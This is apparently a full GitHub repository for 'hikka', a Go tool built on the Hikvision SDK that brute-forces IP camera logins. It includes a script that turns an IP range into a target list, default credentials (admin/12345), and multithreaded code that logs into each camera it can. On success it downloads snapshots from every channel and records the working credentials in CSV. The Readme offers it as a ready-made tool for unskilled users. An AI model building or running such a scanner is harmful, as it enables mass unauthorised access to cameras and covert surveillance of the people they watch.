├── .gitattributes ├── .gitignore ├── Makefile ├── Readme.md ├── dist ├── hostgen.py ├── hosts ├── logins └── passwords ├── include └── HCNetSDK.h ├── lib ├── HPR.dll ├── libhcnetsdk.def ├── libhcnetsdk.dll └── libhcnetsdk.so └── src └── hikka.go /.gitattributes: -------------------------------------------------------------------------------- 1 | include/* linguist-vendored 2 | -------------------------------------------------------------------------------- /.gitignore: -------------------------------------------------------------------------------- 1 | build/ 2 | -------------------------------------------------------------------------------- /Makefile: -------------------------------------------------------------------------------- 1 | export CGO_ENABLED=1 2 | export GOARCH=386 3 | export WDIR=${PWD} 4 | 5 | all: linux windows 6 | 7 | linux: 8 | GOOS=linux CGO_CFLAGS="-I${WDIR}/include" CGO_LDFLAGS="-L${WDIR}/lib -Wl,-rpath=${WDIR}/lib -lhcnetsdk" go build -o build/Linux/hikka src/hikka.go 9 | cp lib/libhcnetsdk.so build/Linux/ 10 | cp dist/hosts build/Linux 11 | cp dist/logins build/Linux 12 | cp dist/passwords build/Linux 13 | cp dist/hostgen.py build/Linux 14 | 15 | windows: 16 | CGO_CFLAGS="-I${WDIR}/include" CGO_LDFLAGS="-L${WDIR}/lib -Wl,--large-address-aware,--enable-stdcall-fixup,-rpath=${WDIR}/lib -lhcnetsdk" GOOS=windows CC=i686-w64-mingw32-gcc CXX=i686-w64-mingw32-g++ go build -o build/Windows/hikka.exe src/hikka.go 17 | cp lib/libhcnetsdk.dll build/Windows/hcnetsdk.dll 18 | cp lib/HPR.dll build/Windows/HPR.dll 19 | cp dist/hosts build/Windows/hosts 20 | cp dist/logins build/Windows/logins 21 | cp dist/passwords build/Windows/passwords 22 | 23 | clean: 24 | rm -r build/ 25 | -------------------------------------------------------------------------------- /Readme.md: -------------------------------------------------------------------------------- 1 | #hikka — IP camera bruteforcer based on Hikvision SDK. 2 | 3 | --- 4 | 5 | ## Building 6 | 7 | I'm using a makefile, so you should be able to build it under Linux using this command: 8 | 9 | # make linux 10 | 11 | 12 | You can also build it for Windows if you have a MinGW installed: 13 | 14 | # make windows 15 | 16 | 17 | And you can make binaries for Linux and Windows by omiting a make target (it is useful for me as I distribute every build to people who don't know anything about compilers): 18 | 19 | # make 20 | 21 | 22 | And now you have a `build` directory with compiled app. 23 | 24 | --- 25 | 26 | ## Usage 27 | 28 | You can define some options: 29 | 30 | * __-logins, -passwords__ — files where your logins and passwords are stored; it looks for «logins» and «passwords» by default; 31 | * __-check__ — very useful, but still experimental option which allows to check a host before trying to log in (I did some reverse-engineering and I'm not really sure if everything is OK); 32 | * __-shoots__ — a directory where pictures from cameras will be stored; it doesn't download pictures by default; 33 | * __-threads__ — there's no multithreading until you define in how many threads you want to do a job; 34 | * __-csv__ — write results to CSV file. 35 | 36 | 37 | __Please note that it is hardcoded to read IPs from file called “hosts”!__ 38 | 39 | A typical command is: 40 | 41 | hikka -threads 200 -check -shoots pics/ 42 | 43 | 44 | Here you go, kid. 45 | 46 | --- 47 | 48 | ## TODO 49 | 50 | 1. Export result to JSON, iVMS-compatible CSV and m3u playlist. 51 | 2. Some features like checking PTZ- and microphone-enabled cameras. 52 | 3. Rewrite bruteforcing routine to make it possible to bruteforce a single camera in multiple threads (there's a one thread for every camera now). 53 | 54 | --- 55 | 56 | ## Bugs 57 | 58 | There's some bugs in SDK library (memory leaks and cycling that can fuck up everything) and I can't do anything with it, but all in all it isn't that bad. 59 | 60 | --- 61 | 62 | ## Contributing 63 | 64 | I'm a newbie in Go and this is my first Go program, so the code and some practices may be ugly. Please tell me if you'll find something that I did in wrong way. 65 | 66 | Feel free to contribute, yeah. 67 | -------------------------------------------------------------------------------- /dist/hostgen.py: -------------------------------------------------------------------------------- 1 | #/usr/bin/env python 2 | 3 | import sys, socket, struct 4 | 5 | def ips(start, end): 6 | start = struct.unpack(">I", socket.inet_aton(start))[0] 7 | end = struct.unpack(">I", socket.inet_aton(end))[0] 8 | return [socket.inet_ntoa(struct.pack(">I", i)) for i in range(start, end)] 9 | 10 | hosts = ips(sys.argv[1], sys.argv[2]) 11 | 12 | with open ('hosts', 'a') as f: 13 | for line in hosts: 14 | f.write("{}\n".format(line)) 15 | 16 | print("Done.") 17 | 18 | -------------------------------------------------------------------------------- /dist/hosts: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/DeadNumbers/hikka-x86/8af376fce1ae97ee947f8be9760288912efa97c6/dist/hosts -------------------------------------------------------------------------------- /dist/logins: -------------------------------------------------------------------------------- 1 | admin -------------------------------------------------------------------------------- /dist/passwords: -------------------------------------------------------------------------------- 1 | 12345 -------------------------------------------------------------------------------- /include/HCNetSDK.h: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/DeadNumbers/hikka-x86/8af376fce1ae97ee947f8be9760288912efa97c6/include/HCNetSDK.h -------------------------------------------------------------------------------- /lib/HPR.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/DeadNumbers/hikka-x86/8af376fce1ae97ee947f8be9760288912efa97c6/lib/HPR.dll -------------------------------------------------------------------------------- /lib/libhcnetsdk.def: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/DeadNumbers/hikka-x86/8af376fce1ae97ee947f8be9760288912efa97c6/lib/libhcnetsdk.def -------------------------------------------------------------------------------- /lib/libhcnetsdk.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/DeadNumbers/hikka-x86/8af376fce1ae97ee947f8be9760288912efa97c6/lib/libhcnetsdk.dll -------------------------------------------------------------------------------- /lib/libhcnetsdk.so: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/DeadNumbers/hikka-x86/8af376fce1ae97ee947f8be9760288912efa97c6/lib/libhcnetsdk.so -------------------------------------------------------------------------------- /src/hikka.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | /* 4 | #include "HCNetSDK.h" 5 | */ 6 | import "C" 7 | import ( 8 | "strconv" 9 | "fmt" 10 | "unsafe" 11 | "sync" 12 | "net" 13 | "os" 14 | "bufio" 15 | "flag" 16 | "encoding/binary" 17 | "time" 18 | "encoding/csv" 19 | // "encoding/json" 20 | "github.com/fatih/color" 21 | ) 22 | 23 | var threads int 24 | var port uint16 25 | var ping bool 26 | var logins_file string 27 | var passwords_file string 28 | var shoots_path string 29 | var json_file string 30 | var csv_file string 31 | var m3u_file string 32 | 33 | var logins []string 34 | var passwords []string 35 | 36 | var err *color.Color 37 | var info *color.Color 38 | var warn *color.Color 39 | var succ *color.Color 40 | 41 | type CameraAddress struct { 42 | IP string `json:"ip"` 43 | Port uint16 `json:"port"` 44 | } 45 | 46 | type DeviceInfo struct { 47 | Login string `json:"user"` 48 | Password string `json:"password"` 49 | StartChannel uint8 `json:"start_channel"` 50 | ChannelsCount uint8 `json:"channels"` 51 | Address CameraAddress `json:"address"` 52 | } 53 | 54 | // type JsonResult struct { 55 | // Authorized []DeviceInfo `json:"authorized"` 56 | // Unauthorized []CameraAddress `json:"unauthorized"` 57 | // } 58 | 59 | // TODO: 60 | // Look at these timeouts! Do something with them. 61 | func HPRPing(ip string) bool { 62 | request := []byte { 63 | 0x00, 0x00, 0x00, 0x20, 0x63, 0x00, 0x00, 0x00, 64 | 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 65 | 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 66 | 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 67 | } 68 | 69 | var response [16]byte 70 | 71 | conn, err := net.DialTimeout("tcp", ip + ":" + strconv.Itoa(int(port)), 3 * time.Second) 72 | if (err != nil) { 73 | return false 74 | } 75 | defer conn.Close() 76 | 77 | conn.SetDeadline(time.Now().Add(5*time.Second)) 78 | conn.SetWriteDeadline(time.Now().Add(3*time.Second)) 79 | conn.SetReadDeadline(time.Now().Add(3*time.Second)) 80 | 81 | err = binary.Write(conn, binary.LittleEndian, request) 82 | if (err != nil) { 83 | return false 84 | } 85 | 86 | err = binary.Read(conn, binary.LittleEndian, &response) 87 | if (err != nil) { 88 | return false 89 | } 90 | 91 | return ((response[3] == 0x10) && (response[7] == response[11])) 92 | } 93 | 94 | func grabShoots(ip string, uid int64, startChannel int, count int, login string, password string) { 95 | if (count == 0) { 96 | warn.Println("No cameras on", ip) 97 | 98 | return 99 | } 100 | 101 | 102 | downloaded := 0 103 | 104 | for i := startChannel; i < startChannel + count; i++ { 105 | filename := fmt.Sprintf("%s%s_%s_%s_%d.jpg", shoots_path, login, password, ip, i) 106 | 107 | var imgParams C.NET_DVR_JPEGPARA 108 | imgParams.wPicQuality = 2 109 | imgParams.wPicSize = 0 110 | 111 | result := C.NET_DVR_CaptureJPEGPicture( 112 | (C.LONG)(uid), 113 | (C.LONG)(i), 114 | (*C.NET_DVR_JPEGPARA)(unsafe.Pointer(&imgParams)), 115 | C.CString(filename), 116 | ) 117 | 118 | if (result == 0) { 119 | err.Println("Error while downloading a snapshot from", ip, ":", (int)(C.NET_DVR_GetLastError())) 120 | } else { 121 | os.Chmod(filename, 0644) 122 | downloaded++ 123 | } 124 | } 125 | 126 | 127 | if (downloaded != 0) { 128 | info.Println("Downloaded", downloaded, "photos from", ip) 129 | } else { 130 | warn.Println("Can't get photos from", ip) 131 | } 132 | } 133 | 134 | func bruteforce(ip string, results chan DeviceInfo) { 135 | if (ping) { 136 | if (!HPRPing(ip)) { 137 | err.Println(ip, "is dead") 138 | 139 | return 140 | } 141 | } 142 | 143 | 144 | for _, login := range logins { 145 | for _, password := range passwords { 146 | var device C.NET_DVR_DEVICEINFO_V30 147 | 148 | uid := (int64)(C.NET_DVR_Login_V30( 149 | C.CString(ip), 150 | C.WORD(port), 151 | C.CString(login), 152 | C.CString(password), 153 | (*C.NET_DVR_DEVICEINFO_V30)(unsafe.Pointer(&device)), 154 | )) 155 | 156 | if (uid >= 0) { 157 | succ.Printf("Logged in: %s:%s@%s\n", login, password, ip) 158 | 159 | if (shoots_path != "") { 160 | var ipcfg C.NET_DVR_IPPARACFG 161 | var written int32 162 | 163 | if (C.NET_DVR_GetDVRConfig( 164 | (C.LONG)(uid), 165 | C.NET_DVR_GET_IPPARACFG, 166 | 0, 167 | (C.LPVOID)(unsafe.Pointer(&ipcfg)), 168 | (C.DWORD)(unsafe.Sizeof(ipcfg)), 169 | (*C.uint32_t)(unsafe.Pointer(&written)), 170 | ) == 1) { 171 | var count C.BYTE = 0 172 | for i := 0; i < C.MAX_IP_CHANNEL && ipcfg.struIPChanInfo[i].byEnable == 1; i++ { 173 | count++ 174 | } 175 | 176 | if (count > 0) { 177 | device.byChanNum = count 178 | device.byStartChan += 32 179 | } 180 | } 181 | 182 | grabShoots( 183 | ip, 184 | uid, 185 | (int)(device.byStartChan), 186 | (int)(device.byChanNum), 187 | login, 188 | password, 189 | ) 190 | } 191 | 192 | results <- DeviceInfo{ 193 | login, 194 | password, 195 | (uint8)(device.byStartChan), 196 | (uint8)(device.byChanNum), 197 | CameraAddress{ip, port}, 198 | } 199 | 200 | C.NET_DVR_Logout_V30((C.LONG)(uid)) 201 | 202 | return 203 | } 204 | } 205 | } 206 | 207 | 208 | warn.Println("Can't log into", ip) 209 | results <- DeviceInfo{Address: CameraAddress{ip, port}} 210 | } 211 | 212 | 213 | func readLines(path string) ([]string, error) { 214 | file, err := os.Open(path) 215 | if err != nil { 216 | return nil, err 217 | } 218 | defer file.Close() 219 | 220 | var lines []string 221 | scanner := bufio.NewScanner(file) 222 | for scanner.Scan() { 223 | lines = append(lines, scanner.Text()) 224 | } 225 | return lines, scanner.Err() 226 | } 227 | 228 | func dumpAuthCSV(file *os.File, devices *[]DeviceInfo) { 229 | writer := csv.NewWriter(file) 230 | for _, cam := range *devices { 231 | writer.Write([]string{ 232 | cam.Address.IP, 233 | strconv.Itoa((int)(cam.Address.Port)), 234 | cam.Login, 235 | cam.Password, 236 | }) 237 | } 238 | 239 | writer.Flush() 240 | err := writer.Error() 241 | if (err != nil) { 242 | panic(err) 243 | } 244 | 245 | *devices = nil 246 | } 247 | 248 | func dumpGoodCSV(file *os.File, devices *[]CameraAddress) { 249 | writer := csv.NewWriter(file) 250 | for _, addr := range *devices { 251 | writer.Write([]string{ 252 | addr.IP, 253 | strconv.Itoa((int)(addr.Port)), 254 | }) 255 | } 256 | 257 | writer.Flush() 258 | err := writer.Error() 259 | if (err != nil) { 260 | panic(err) 261 | } 262 | 263 | *devices = nil 264 | } 265 | 266 | func parseFlags() { 267 | flag.IntVar(&threads, "threads", 1, "Threads count") 268 | port = (uint16)(*flag.Int("port", 8000, "Camera service port")) 269 | flag.BoolVar(&ping, "check", false, "Check cameras (experimental and not fully tested, but very useful)") 270 | flag.StringVar(&logins_file, "logins", "logins", "A file with a list of logins to bruteforce") 271 | flag.StringVar(&passwords_file, "passwords", "passwords", "A file with a list of passwords to bruteforce") 272 | flag.StringVar(&shoots_path, "shoots", "", "Download pics from cameras into a folder") 273 | flag.StringVar(&csv_file, "csv", "", "Write result to CSV") 274 | flag.StringVar(&json_file, "json", "", "Write result to JSON") 275 | flag.StringVar(&m3u_file, "m3u", "", "Write result to m3u playlist") 276 | flag.Parse() 277 | } 278 | 279 | func initialize() { 280 | // No shadowing pls 281 | var err error 282 | 283 | logins, err = readLines(logins_file) 284 | if (err != nil) { 285 | fmt.Println(err) 286 | 287 | return 288 | } 289 | fmt.Println("Loaded", len(logins), "logins") 290 | 291 | passwords, err = readLines(passwords_file) 292 | if (err != nil) { 293 | fmt.Println(err) 294 | 295 | return 296 | } 297 | fmt.Println("Loaded", len(passwords), "passwords") 298 | 299 | 300 | // Creating a directory for pics 301 | if (shoots_path != "") { 302 | if (string(shoots_path[len(shoots_path) - 1]) != string(os.PathSeparator)) { 303 | shoots_path += string(os.PathSeparator) 304 | } 305 | 306 | err = os.MkdirAll(shoots_path, 0777) 307 | if (err != nil) { 308 | fmt.Println(err) 309 | 310 | return 311 | } 312 | } 313 | 314 | 315 | fmt.Println("Starting work in", threads, "threads") 316 | fmt.Println() 317 | } 318 | 319 | func start() { 320 | // Results are stored here 321 | var authorized []DeviceInfo 322 | var unauthorized []CameraAddress 323 | 324 | 325 | // no shadowing pls 326 | var err error 327 | 328 | 329 | // Creating a CSV file for results 330 | var csv *os.File 331 | if (csv_file != "") { 332 | csv, err = os.Create(csv_file) 333 | if (err != nil) { 334 | panic(err) 335 | } 336 | defer csv.Close() 337 | } 338 | defer dumpAuthCSV(csv, &authorized) 339 | defer dumpGoodCSV(csv, &unauthorized) 340 | 341 | 342 | // Catching results here. 343 | // Is this a good practice to send a structure with empty fields? 344 | // Maybe I should make it with two channels. 345 | results := make(chan DeviceInfo) 346 | defer close(results) 347 | 348 | go func() { 349 | for li := range results { 350 | if (csv_file != "") { 351 | if (li.Login != "") { 352 | authorized = append(authorized, li) 353 | 354 | if (len(authorized) >= 10) { 355 | dumpAuthCSV(csv, &authorized) 356 | } 357 | } else { 358 | unauthorized = append(unauthorized, li.Address) 359 | 360 | if (len(unauthorized) >= 10) { 361 | dumpGoodCSV(csv, &unauthorized) 362 | } 363 | } 364 | } 365 | } 366 | }() 367 | 368 | 369 | // Spawning main bruteforce coroutines 370 | ipCh := make(chan string) 371 | bg := new(sync.WaitGroup) 372 | 373 | for i := 0; i < threads; i++ { 374 | bg.Add(1) 375 | go func() { 376 | defer bg.Done() 377 | for ip := range ipCh { 378 | bruteforce(ip, results) 379 | } 380 | }() 381 | } 382 | 383 | 384 | // Sending IPs to bruteforce coroutines 385 | inFile, err := os.Open("hosts") 386 | if (err != nil) { 387 | panic(err) 388 | } 389 | defer inFile.Close() 390 | 391 | scanner := bufio.NewScanner(inFile) 392 | scanner.Split(bufio.ScanLines) 393 | for scanner.Scan() { 394 | ipCh <- scanner.Text() 395 | } 396 | close(ipCh) 397 | 398 | 399 | bg.Wait() 400 | } 401 | 402 | func main() { 403 | C.NET_DVR_Init() 404 | defer C.NET_DVR_Cleanup() 405 | 406 | // No such function in windows lib 407 | // C.NET_DVR_SetRecvTimeOut(3000); 408 | 409 | parseFlags() 410 | 411 | err = color.New(color.FgRed, color.Bold) 412 | info = color.New(color.FgBlue, color.Bold) 413 | warn = color.New(color.FgYellow, color.Bold) 414 | succ = color.New(color.FgGreen, color.Bold) 415 | 416 | 417 | initialize() 418 | 419 | start() 420 | 421 | 422 | // if (json_file != "") { 423 | // color.New(color.FgBlue, color.Bold).Println("Writing JSON to", json_file) 424 | 425 | // j, err := json.MarshalIndent( 426 | // JsonResult{ 427 | // Authorized: authorized, 428 | // Unauthorized: unauthorized, 429 | // }, 430 | // "", 431 | // " ", 432 | // ) 433 | // if (err != nil) { 434 | // panic(err) 435 | // } 436 | 437 | // f, err := os.Create(json_file) 438 | // if (err != nil) { 439 | // panic(err) 440 | // } 441 | 442 | // defer f.Close() 443 | 444 | // f.WriteString(string(j)) 445 | // } 446 | 447 | // if (m3u_file != "") { 448 | // color.New(color.FgBlue, color.Bold).Println("Writing m3u playlist to", m3u_file) 449 | 450 | // f, err := os.Create(m3u_file) 451 | // if (err != nil) { 452 | // panic(err) 453 | // } 454 | // defer f.Close() 455 | 456 | // writer := bufio.NewWriter(f) 457 | // writer.WriteString("#EXTM3U\n") 458 | 459 | // for index, cam := range authorized { 460 | // for channel := cam.StartChannel; channel < cam.StartChannel + cam.ChannelsCount; channel++ { 461 | // writer.WriteString( 462 | // fmt.Sprintf( 463 | // "#EXTINF:1,%d_%d\n", 464 | // index, 465 | // channel - cam.StartChannel + 1, 466 | // ), 467 | // ) 468 | 469 | // writer.WriteString( 470 | // fmt.Sprintf( 471 | // "rtsp://%s:%s@%s/mpeg4/ch%02d/main/av_stream", 472 | // cam.Login, 473 | // cam.Password, 474 | // cam.Address.IP, 475 | // channel, 476 | // ), 477 | // ) 478 | // } 479 | // } 480 | 481 | // writer.Flush() 482 | // } 483 | } 484 | --------------------------------------------------------------------------------